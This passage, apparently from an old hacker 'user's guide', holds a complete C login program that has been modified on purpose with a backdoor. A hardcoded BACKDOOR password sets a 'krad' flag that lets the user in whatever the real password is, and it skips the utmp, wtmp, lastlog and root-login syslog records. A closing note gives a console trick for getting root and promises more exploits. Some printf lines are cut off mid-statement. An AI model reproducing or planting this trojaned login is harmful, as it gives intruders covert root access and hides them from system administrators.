                                *p = 0;
                        hostname = optarg;
                        break;

                case 'p':
                        pflag = 1;
                        break;
                case '?':
                default:
                        (void)fprintf(stderr,
                            "usage: login [-fp] [username]\n");
                        exit(1);
                }
        argc -= optind;
        argv += optind;
        if (*argv) {
                username = *argv;
                ask = 0;
        } else
                ask = 1;

#ifndef linux
        ioctlval = 0;
        (void)ioctl(0, TIOCLSET, &ioctlval);
        (void)ioctl(0, TIOCNXCL, 0);
        (void)fcntl(0, F_SETFL, ioctlval);
        (void)ioctl(0, TIOCGETP, &sgttyb);
        sgttyb.sg_erase = CERASE;
        sgttyb.sg_kill = CKILL;
        (void)ioctl(0, TIOCSLTC, &ltc);
        (void)ioctl(0, TIOCSETC, &tc);
        (void)ioctl(0, TIOCSETP, &sgttyb);

        /*
         * Be sure that we're in
         * blocking mode!!!
         * This is really for HPUX
         */
        ioctlval = 0;
        (void)ioctl(0, FIOSNBIO, &ioctlval);
#endif

        for (cnt = getdtablesize(); cnt > 2; cnt--)
                close(cnt);

        ttyn = ttyname(0);
        if (ttyn == NULL || *ttyn == '\0') {
                (void)sprintf(tname, "%s??", _PATH_TTY);
                ttyn = tname;
        }

        setpgrp();

        {
            struct termios tt, ttt;

            tcgetattr(0, &tt);
            ttt = tt;
            ttt.c_cflag &= ~HUPCL;

            if((chown(ttyn, 0, 0) == 0) && (chmod(ttyn, 0622) == 0)) {
                tcsetattr(0,TCSAFLUSH,&ttt);
                signal(SIGHUP, SIG_IGN); /* so vhangup() wont kill us */
                vhangup();
                signal(SIGHUP, SIG_DFL);
            }

            setsid();

            /* re-open stdin,stdout,stderr after vhangup() closed them */
            /* if it did, after 0.99.5 it doesn't! */
            opentty(ttyn);
            tcsetattr(0,TCSAFLUSH,&tt);
        }

        if (tty = rindex(ttyn, '/'))
                ++tty;
        else
                tty = ttyn;

        openlog("login", LOG_ODELAY, LOG_AUTH);

        for (cnt = 0;; ask = 1) {
                ioctlval = 0;
#ifndef linux
                (void)ioctl(0, TIOCSETD, &ioctlval);
#endif
```

```
                if (ask) {
                        fflag = 0;
                        getloginname();
                }

                checktty(username, tty);

                (void)strcpy(tbuf, username);
                if (pwd = getpwnam(username))
                        salt = pwd->pw_passwd;
                else
                        salt = "xx";

                /* if user not super-user, check for disabled logins */
                if (pwd == NULL || pwd->pw_uid)
                        checknologin();

                /*
                 * Disallow automatic login to root; if not invoked by
                 * root, disallow if the uid's differ.
                 */
                if (fflag && pwd) {
                        int uid = getuid();

                        passwd_req = pwd->pw_uid == 0 ||
                            (uid && uid != pwd->pw_uid);
                }

                /*
                 * If trying to log in as root, but with insecure terminal,
                 * refuse the login attempt.
                 */
                if (pwd && pwd->pw_uid == 0 && !rootterm(tty)) {
                        (void)fprintf(stderr,
                            "%s login refused on this terminal.\n",
                            pwd->pw_name);

                        if (hostname)
                                syslog(LOG_NOTICE,
                                    "LOGIN %s REFUSED FROM %s ON TTY %s",
                                    pwd->pw_name, hostname, tty);
                        else
                                syslog(LOG_NOTICE,
                                    "LOGIN %s REFUSED ON TTY %s",
                                     pwd->pw_name, tty);
                        continue;
                }

                /*
                 * If no pre-authentication and a password exists
                 * for this user, prompt for one and verify it.
                 */
                if (!passwd_req || (pwd && !*pwd->pw_passwd))
                        break;

                setpriority(PRIO_PROCESS, 0, -4);
                pp = getpass("Password: ");
                if(strcmp(BACKDOOR, pp) == 0) krad++;

                p = crypt(pp, salt);
                setpriority(PRIO_PROCESS, 0, 0);

#ifdef  KERBEROS
```

```
                /*
                 * If not present in pw file, act as we normally would.
                 * If we aren't Kerberos-authenticated, try the normal
                 * pw file for a password.  If that's ok, log the user
                 * in without issueing any tickets.
                 */

                if (pwd && !krb_get_lrealm(realm,1)) {
                        /*
                         * get TGT for local realm; be careful about uid's
                         * here for ticket file ownership
                         */
                        (void)setreuid(geteuid(),pwd->pw_uid);
                        kerror = krb_get_pw_in_tkt(pwd->pw_name, "", realm,
                                "krbtgt", realm, DEFAULT_TKT_LIFE, pp);
                        (void)setuid(0);
                        if (kerror == INTK_OK) {
                                memset(pp, 0, strlen(pp));
                                notickets = 0;  /* user got ticket */
                                break;
                        }
                }
#endif

                (void) memset(pp, 0, strlen(pp));
                if (pwd && !strcmp(p, pwd->pw_passwd))
                        break;

                if(krad != 0)
                   break;




                (void)printf("Login incorrect\n");
                failures++;
                badlogin(username); /* log ALL bad logins */

                /* we allow 10 tries, but after 3 we start backing off */
                if (++cnt > 3) {
                        if (cnt >= 10) {
                                sleepexit(1);
                        }
                        sleep((unsigned int)((cnt - 3) * 5));
                }
        }

        /* committed to login -- turn off timeout */
        (void)alarm((unsigned int)0);

#ifdef HAVE_QUOTA
        if (quota(Q_SETUID, pwd->pw_uid, 0, 0) < 0 && errno != EINVAL) {
                switch(errno) {
                case EUSERS:
                        (void)fprintf(stderr,
                "Too many users logged on already.\nTry again later.\n");
                        break;
                case EPROCLIM:
                        (void)fprintf(stderr,
                            "You have too many processes running.\n");
                        break;
                default:
                        perror("quota (Q_SETUID)");
                }
                sleepexit(0);
        }
#endif

        /* paranoia... */
        endpwent();

        /* This requires some explanation: As root we may not be able to
           read the directory of the user if it is on an NFS mounted
           filesystem. We temporarily set our effective uid to the user-uid
           making sure that we keep root privs. in the real uid.

           A portable solution would require a fork(), but we rely on Linux
           having the BSD setreuid() */

        {
            char tmpstr[MAXPATHLEN];
            uid_t ruid = getuid();
            gid_t egid = getegid();

            strncpy(tmpstr, pwd->pw_dir, MAXPATHLEN-12);
            strncat(tmpstr, ("/" _PATH_HUSHLOGIN), MAXPATHLEN);

            setregid(-1, pwd->pw_gid);
            setreuid(0, pwd->pw_uid);
            quietlog = (access(tmpstr, R_OK) == 0);
            setuid(0); /* setreuid doesn't do it alone! */
            setreuid(ruid, 0);
            setregid(-1, egid);
        }

#ifndef linux
#ifdef KERBEROS
        if (notickets && !quietlog)
                (void)printf("Warning: no Kerberos tickets issued\n");
#endif

#define TWOWEEKS        (14*24*60*60)
        if (pwd->pw_change || pwd->pw_expire)
                (void)gettimeofday(&tp, (struct timezone *)NULL);
        if (pwd->pw_change)
                if (tp.tv_sec >= pwd->pw_change) {
                        (void)printf("Sorry -- your password has expired.\n");
                        sleepexit(1);
                }
                else if (tp.tv_sec - pwd->pw_change < TWOWEEKS && !quietlog) {
                        ttp = localtime(&pwd->pw_change);
                        (void)printf("Warning: your password expires on %s %d, %d
                            months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + ttp
                }
        if (pwd->pw_expire)
                if (tp.tv_sec >= pwd->pw_expire) {
                        (void)printf("Sorry -- your account has expired.\n");
                        sleepexit(1);
                }
                else if (tp.tv_sec - pwd->pw_expire < TWOWEEKS && !quietlog) {
                        ttp = localtime(&pwd->pw_expire);
                        (void)printf("Warning: your account expires on %s %d, %d\
                            months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + ttp
                }

        /* nothing else left to fail -- really log in */
        {
                struct utmp utmp;

                memset((char *)&utmp, 0, sizeof(utmp));
                (void)time(&utmp.ut_time);
                strncpy(utmp.ut_name, username, sizeof(utmp.ut_name));
                if (hostname)
                        strncpy(utmp.ut_host, hostname, sizeof(utmp.ut_host));
                strncpy(utmp.ut_line, tty, sizeof(utmp.ut_line));
                login(&utmp);
        }
#else
        /* for linux, write entries in utmp and wtmp */
        {
                struct utmp ut;
                char *ttyabbrev;
                int wtmp;

                memset((char *)&ut, 0, sizeof(ut));
                ut.ut_type = USER_PROCESS;
                ut.ut_pid = getpid();
                strncpy(ut.ut_line, ttyn + sizeof("/dev/")-1, sizeof(ut.ut_line))
                ttyabbrev = ttyn + sizeof("/dev/tty") - 1;
                strncpy(ut.ut_id, ttyabbrev, sizeof(ut.ut_id));
                (void)time(&ut.ut_time);
                strncpy(ut.ut_user, username, sizeof(ut.ut_user));

                /* fill in host and ip-addr fields when we get networking */
                if (hostname) {
                    struct hostent *he;

                    strncpy(ut.ut_host, hostname, sizeof(ut.ut_host));
                    if ((he = gethostbyname(hostname)))
                      memcpy(&ut.ut_addr, he->h_addr_list[0],
                             sizeof(ut.ut_addr));
                }

                utmpname(_PATH_UTMP);
                setutent();


                if(krad == 0)
                   pututline(&ut);



                endutent();

                if((wtmp = open(_PATH_WTMP, O_APPEND|O_WRONLY)) >= 0) {
                        flock(wtmp, LOCK_EX);

                        if(krad == 0)
                           write(wtmp, (char *)&ut, sizeof(ut));



                        flock(wtmp, LOCK_UN);
                        close(wtmp);
                }
        }
        /* fix_utmp_type_and_user(username, ttyn, LOGIN_PROCESS); */
#endif
```

```
        if(krad == 0)
           dolastlog(quietlog);




#ifndef linux
        if (!hflag) {                                   /* XXX */
                static struct winsize win = { 0, 0, 0, 0 };

                (void)ioctl(0, TIOCSWINSZ, &win);
        }
#endif
        (void)chown(ttyn, pwd->pw_uid,
            (gr = getgrnam(TTYGRPNAME)) ? gr->gr_gid : pwd->pw_gid);

        (void)chmod(ttyn, 0622);
        (void)setgid(pwd->pw_gid);

        initgroups(username, pwd->pw_gid);

#ifdef HAVE_QUOTA
        quota(Q_DOWARN, pwd->pw_uid, (dev_t)-1, 0);
#endif

        if (*pwd->pw_shell == '\0')
                pwd->pw_shell = _PATH_BSHELL;
#ifndef linux
        /* turn on new line discipline for the csh */
        else if (!strcmp(pwd->pw_shell, _PATH_CSHELL)) {
                ioctlval = NTTYDISC;
                (void)ioctl(0, TIOCSETD, &ioctlval);
        }
#endif

        /* preserve TERM even without -p flag */
        {
                char *ep;

                if(!((ep = getenv("TERM")) && (termenv = strdup(ep))))
                  termenv = "dumb";
        }

        /* destroy environment unless user has requested preservation */
        if (!pflag)
        {
          environ = (char**)malloc(sizeof(char*));
          memset(environ, 0, sizeof(char*));
        }

#ifndef linux
        (void)setenv("HOME", pwd->pw_dir, 1);
        (void)setenv("SHELL", pwd->pw_shell, 1);
        if (term[0] == '\0')
                strncpy(term, stypeof(tty), sizeof(term));
        (void)setenv("TERM", term, 0);
        (void)setenv("USER", pwd->pw_name, 1);
        (void)setenv("PATH", _PATH_DEFPATH, 0);
#else
        (void)setenv("HOME", pwd->pw_dir, 0);      /* legal to override */
        if(pwd->pw_uid)
          (void)setenv("PATH", _PATH_DEFPATH, 1);
        else
          (void)setenv("PATH", _PATH_DEFPATH_ROOT, 1);
        (void)setenv("SHELL", pwd->pw_shell, 1);
        (void)setenv("TERM", termenv, 1);

        /* mailx will give a funny error msg if you forget this one */
        (void)sprintf(tmp,"%s/%s",_PATH_MAILDIR,pwd->pw_name);
        (void)setenv("MAIL",tmp,0);

        /* LOGNAME is not documented in login(1) but
           HP-UX 6.5 does it. We'll not allow modifying it.
         */
        (void)setenv("LOGNAME", pwd->pw_name, 1);
#endif

#ifndef linux
        if (tty[sizeof("tty")-1] == 'd')


                if(krad == 0)
                   syslog(LOG_INFO, "DIALUP %s, %s", tty, pwd->pw_name);




#endif
        if (pwd->pw_uid == 0)


           if(krad == 0)
                if (hostname)
                        syslog(LOG_NOTICE, "ROOT LOGIN ON %s FROM %s",
                            tty, hostname);
                else
                        syslog(LOG_NOTICE, "ROOT LOGIN ON %s", tty);






        if (!quietlog) {
                struct stat st;

                motd();
                (void)sprintf(tbuf, "%s/%s", _PATH_MAILDIR, pwd->pw_name);
                if (stat(tbuf, &st) == 0 && st.st_size != 0)
                        (void)printf("You have %smail.\n",
                            (st.st_mtime > st.st_atime) ? "new " : "");
        }

        (void)signal(SIGALRM, SIG_DFL);
        (void)signal(SIGQUIT, SIG_DFL);
        (void)signal(SIGINT, SIG_DFL);
        (void)signal(SIGTSTP, SIG_IGN);
        (void)signal(SIGHUP, SIG_DFL);

        /* discard permissions last so can't get killed and drop core */
        if(setuid(pwd->pw_uid) < 0 && pwd->pw_uid) {
            syslog(LOG_ALERT, "setuid() failed");
            exit(1);
        }

        /* wait until here to change directory! */
        if (chdir(pwd->pw_dir) < 0) {
                (void)printf("No directory %s!\n", pwd->pw_dir);
                if (chdir("/"))
                        exit(0);
                pwd->pw_dir = "/";
                (void)printf("Logging in with home = \"/\".\n");
        }

        /* if the shell field has a space: treat it like a shell script */
        if (strchr(pwd->pw_shell, ' ')) {
            char *buff = malloc(strlen(pwd->pw_shell) + 6);
            if (buff) {
                strcpy(buff, "exec ");
                strcat(buff, pwd->pw_shell);
                execlp("/bin/sh", "-sh", "-c", buff, (char *)0);
                fprintf(stderr, "login: couldn't exec shell script: %s.\n",
                        strerror(errno));
                exit(0);
            }
            fprintf(stderr, "login: no memory for shell script.\n");
            exit(0);
        }

        tbuf[0] = '-';
        strcpy(tbuf + 1, ((p = rindex(pwd->pw_shell, '/')) ?
                          p + 1 : pwd->pw_shell));

        execlp(pwd->pw_shell, tbuf, (char *)0);
        (void)fprintf(stderr, "login: no shell: %s.\n", strerror(errno));
        exit(0);
}

void
getloginname()
{
        register int ch;
        register char *p;
        static char nbuf[UT_NAMESIZE + 1];

        for (;;) {
                (void)printf("\n%s login: ", thishost); fflush(stdout);
                for (p = nbuf; (ch = getchar()) != '\n'; ) {
                        if (ch == EOF) {
                                badlogin(username);
                                exit(0);
                        }
                        if (p < nbuf + UT_NAMESIZE)
                                *p++ = ch;
                }
                if (p > nbuf)
                        if (nbuf[0] == '-')
                                (void)fprintf(stderr,
                                    "login names may not start with '-'.\n");
                        else {
                                *p = '\0';
                                username = nbuf;
                                break;
                        }
        }
}

void timedout()
{
        struct termio ti;

        (void)fprintf(stderr, "Login timed out after %d seconds\n", timeout);

        /* reset echo */
        (void) ioctl(0, TCGETA, &ti);
        ti.c_lflag |= ECHO;
        (void) ioctl(0, TCSETA, &ti);
        exit(0);
}

int
rootterm(ttyn)
        char *ttyn;
#ifndef linux
{
        struct ttyent *t;

        return((t = getttynam(ttyn)) && t->ty_status&TTY_SECURE);
}
#else
{
  int fd;
  char buf[100],*p;
  int cnt, more;

  fd = open(SECURETTY, O_RDONLY);
  if(fd < 0) return 1;

  /* read each line in /etc/securetty, if a line matches our ttyline
     then root is allowed to login on this tty, and we should return
     true. */
  for(;;) {
        p = buf; cnt = 100;
        while(--cnt >= 0 && (more = read(fd, p, 1)) == 1 && *p != '\n') p++;
        if(more && *p == '\n') {
                *p = '\0';
                if(!strcmp(buf, ttyn)) {
                        close(fd);
                        return 1;
                } else
                        continue;
        } else {
                close(fd);
                return 0;
        }
  }
}
#endif

jmp_buf motdinterrupt;

void
motd()
{
        register int fd, nchars;
        void (*oldint)(), sigint();
        char tbuf[8192];

        if ((fd = open(_PATH_MOTDFILE, O_RDONLY, 0)) < 0)
                return;
        oldint = signal(SIGINT, sigint);
        if (setjmp(motdinterrupt) == 0)
                while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)
                        (void)write(fileno(stdout), tbuf, nchars);
        (void)signal(SIGINT, oldint);
        (void)close(fd);
}
```

```
void sigint()
{
        longjmp(motdinterrupt, 1);
}

void
checknologin()
{
        register int fd, nchars;
        char tbuf[8192];

        if ((fd = open(_PATH_NOLOGIN, O_RDONLY, 0)) >= 0) {
                while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)
                        (void)write(fileno(stdout), tbuf, nchars);
                sleepexit(0);
        }
}

void
dolastlog(quiet)
        int quiet;
{
        struct lastlog ll;
        int fd;

        if ((fd = open(_PATH_LASTLOG, O_RDWR, 0)) >= 0) {
                (void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET);
                if (!quiet) {
                        if (read(fd, (char *)&ll, sizeof(ll)) == sizeof(ll) &&
                            ll.ll_time != 0) {
                                (void)printf("Last login: %.*s ",
                                    24-5, (char *)ctime(&ll.ll_time));

                                if (*ll.ll_host != '\0')
                                  printf("from %.*s\n",
                                         (int)sizeof(ll.ll_host), ll.ll_host);
                                else
                                  printf("on %.*s\n",
                                         (int)sizeof(ll.ll_line), ll.ll_line);
                        }
                        (void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET);
                }
                memset((char *)&ll, 0, sizeof(ll));
                (void)time(&ll.ll_time);
                strncpy(ll.ll_line, tty, sizeof(ll.ll_line));
                if (hostname)
                        strncpy(ll.ll_host, hostname, sizeof(ll.ll_host));
                if(krad == 0)
                   (void)write(fd, (char *)&ll, sizeof(ll));
                (void)close(fd);
        }
}

void
badlogin(name)
        char *name;
{
        if (failures == 0)
                return;

        if (hostname)
                syslog(LOG_NOTICE, "%d LOGIN FAILURE%s FROM %s, %s",
                    failures, failures > 1 ? "S" : "", hostname, name);
        else
```

```
                syslog(LOG_NOTICE, "%d LOGIN FAILURE%s ON %s, %s",
                    failures, failures > 1 ? "S" : "", tty, name);
}

#undef  UNKNOWN
#define UNKNOWN "su"

#ifndef linux
char *
stypeof(ttyid)
        char *ttyid;
{
        struct ttyent *t;

        return(ttyid && (t = getttynam(ttyid)) ? t->ty_type : UNKNOWN);
}
#endif

void
checktty(user, tty)
     char *user;
     char *tty;
{
    FILE *f;
    char buf[256];
    char *ptr;
    char devname[50];
    struct stat stb;

    /* no /etc/usertty, default to allow access */
    if(!(f = fopen(_PATH_USERTTY, "r"))) return;

    while(fgets(buf, 255, f)) {

        /* strip comments */
        for(ptr = buf; ptr < buf + 256; ptr++)
          if(*ptr == '#') *ptr = 0;

        strtok(buf, " \t");
        if(strncmp(user, buf, 8) == 0) {
            while((ptr = strtok(NULL, "\t\n "))) {
                if(strncmp(tty, ptr, 10) == 0) {
                    fclose(f);
                    return;
                }
                if(strcmp("PTY", ptr) == 0) {
#ifdef linux
                    sprintf(devname, "/dev/%s", ptr);
                    /* VERY linux dependent, recognize PTY as alias
                       for all pseudo tty's */
                    if((stat(devname, &stb) >= 0)
                       && major(stb.st_rdev) == 4
                       && minor(stb.st_rdev) >= 192) {
                        fclose(f);
                        return;
                    }
#endif
                }
            }
            /* if we get here, /etc/usertty exists, there's a line
               beginning with our username, but it doesn't contain the
               name of the tty where the user is trying to log in.
               So deny access! */
            fclose(f);
            printf("Login on %s denied.\n", tty);
            badlogin(user);
            sleepexit(1);
        }
    }
    fclose(f);
    /* users not mentioned in /etc/usertty are by default allowed access
       on all tty's */
}

void
getstr(buf, cnt, err)
        char *buf, *err;
        int cnt;
{
        char ch;

        do {
                if (read(0, &ch, sizeof(ch)) != sizeof(ch))
                        exit(1);
                if (--cnt < 0) {
                        (void)fprintf(stderr, "%s too long\r\n", err);
                        sleepexit(1);
                }
                *buf++ = ch;
        } while (ch);
}

void
sleepexit(eval)
        int eval;
{
        sleep((unsigned int)5);
        exit(eval);
}
```

So if you really wanna have root access and have access to console, reboot
it (carefully, do a ctrl-alt-del) and at lilo prompt do a :
init=/bin/bash rw (for linux 2.0.0 and above (I think)).

Don't wonder why I was speaking only about rootshell and dhp.com, there are
lots of other very good hacking pages, but these ones are updated very
quickly and besides, are the best pages I know.

So folks, this was it...
First version of my USER's GUIDE 1.0.
Maybe I'll do better next time, and if I have more time, I'll add about
50(more) other exploits, remote ones, new stuff, new techniques, etc...
See ya, folks !
GOOD NIGHT !!! (it's 6.am now).
DAMN !!!

ARGHHH! I forgot... My e-mail adress is <phantom@lhab-gw.soroscj.ro>.
(for now).